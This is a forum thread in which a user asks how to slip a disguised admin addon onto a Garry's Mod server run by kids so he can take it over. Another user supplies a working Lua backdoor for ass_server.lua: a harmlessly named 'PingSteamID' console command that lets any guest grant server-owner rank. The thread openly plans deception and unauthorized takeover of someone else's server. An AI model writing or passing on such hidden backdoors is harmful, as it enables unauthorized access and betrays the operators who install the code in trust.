Results 1 to 5 of 5
  1. #1
    bezer123's Avatar
    Join Date
    Apr 2013
    Gender
    male
    Posts
    40
    Reputation
    10
    Thanks
    38
    My Mood
    Sad

    Extra-Admin tools to put in addon, changing commands

    So I told a server I could scrape up an addon they wanted. I did, and now I'm thinking I could get an extra admin tool, name it "Addon part 2" and give it to them. Let's take ASSmenu for example. In that, you put ASSgiveownership "steamId" or something like that in your server.cfg. Now, since the server is ran by kids, they wouldn't give a shit about the whole steamID part, but they would get suspicious about the Assgiveownership part. Which lua file would I change the command in in ASSmenu? May be a big ask, but if anyone could help, thanks. Also, it doesn't need to be ASSmenu, just something other than FAdmin or ULX.
    Tl;DR: I need someone to tell me the file name of an admin tool to change the command to give admin.

  2. #2
    JDawg147's Avatar
    Join Date
    Feb 2012
    Gender
    male
    Posts
    237
    Reputation
    10
    Thanks
    183
    Quote Originally Posted by bezer123 View Post
    So I told a server I could scrape up an addon they wanted. I did, and now I'm thinking I could get an extra admin tool, name it "Addon part 2" and give it to them. Let's take ASSmenu for example. In that, you put ASSgiveownership "steamId" or something like that in your server.cfg. Now, since the server is ran by kids, they wouldn't give a shit about the whole steamID part, but they would get suspicious about the Assgiveownership part. Which lua file would I change the command in in ASSmenu? May be a big ask, but if anyone could help, thanks. Also, it doesn't need to be ASSmenu, just something other than FAdmin or ULX.
    Tl;DR: I need someone to tell me the file name of an admin tool to change the command to give admin.
    Would you like a simple "backdoor" for ASSmenu, if so you'd just C+P the ASS_GiveOwnerShip command but rename it to something stupid like PingServer and change the permissions for the command to guest and then go nuts with it.

  3. #3
    bezer123's Avatar
    Join Date
    Apr 2013
    Gender
    male
    Posts
    40
    Reputation
    10
    Thanks
    38
    My Mood
    Sad
    Quote Originally Posted by JDawg147 View Post
    Would you like a simple "backdoor" for ASSmenu, if so you'd just C+P the ASS_GiveOwnerShip command but rename it to something stupid like PingServer and change the permissions for the command to guest and then go nuts with it.
    yes, pretty much. The server doesnt have assmenu, so thats why I chose it.
    But were is the command located?
    Last edited by bezer123; 05-01-2014 at 11:44 AM.

  4. #4
    bezer123's Avatar
    Join Date
    Apr 2013
    Gender
    male
    Posts
    40
    Reputation
    10
    Thanks
    38
    My Mood
    Sad
    Found an alternative backdoor


    CLOSE THIS THREAD

  5. #5
    JDawg147's Avatar
    Join Date
    Feb 2012
    Gender
    male
    Posts
    237
    Reputation
    10
    Thanks
    183
    Quote Originally Posted by bezer123 View Post
    yes, pretty much. The server doesnt have assmenu, so thats why I chose it.
    But were is the command located?
    ass_server.lua

    Dump this in after the actual ASS_GiveOwnership command, should work but if it doesn't I'll make a real backdoor.

    Code:
    concommand.Add( "PingSteamID",	
    		function (pl, cmd, args) 	
    			if (pl:HasLevel(ASS_LVL_GUEST)) then
    			
    				local other = ASS_FindPlayer(args[1])
    				
    				if (!other || !other:IsValid()) then
    					ASS_MessagePlayer(pl, "Invalid Player!")
    					return
    				end
    				
    				if (other != pl) then
    					other:SetLevel( ASS_LVL_SERVER_OWNER )
    					ASS_SaveRankings();
    
    					ASS_MessagePlayer(pl, "Ownership Given!")
    				else
    					ASS_MessagePlayer(pl, "You're an owner already!")
    				end
    			else
    				ASS_MessagePlayer(pl, "Access Denied!")
    			end
    		end	
    	)

Similar Threads

  1. [Outdated] Modern warfare 2: server admin tool
    By Ipwnyou!! in forum Call of Duty 6 - Modern Warfare 2 (MW2) Hacks
    Replies: 95
    Last Post: 07-23-2012, 01:23 AM
  2. [Release] CoD:MW2 Admin Tool (1.3.37)
    By eusebiu_a in forum Call of Duty Modern Warfare 2 Private Servers
    Replies: 26
    Last Post: 02-02-2011, 09:53 AM
  3. [help] admin tools for liberation
    By ironraccoon in forum Call of Duty Modern Warfare 2 Help
    Replies: 3
    Last Post: 08-23-2010, 09:41 PM
  4. [PREVIEW]Unofficial AlterIW admin tool
    By Hell_Demon in forum Call of Duty Modern Warfare 2 Private Servers
    Replies: 20
    Last Post: 07-14-2010, 06:44 AM
  5. [Release] My extra speacial tool!
    By pr0h4x0r in forum Combat Arms Hacks & Cheats
    Replies: 5
    Last Post: 01-24-2010, 09:14 PM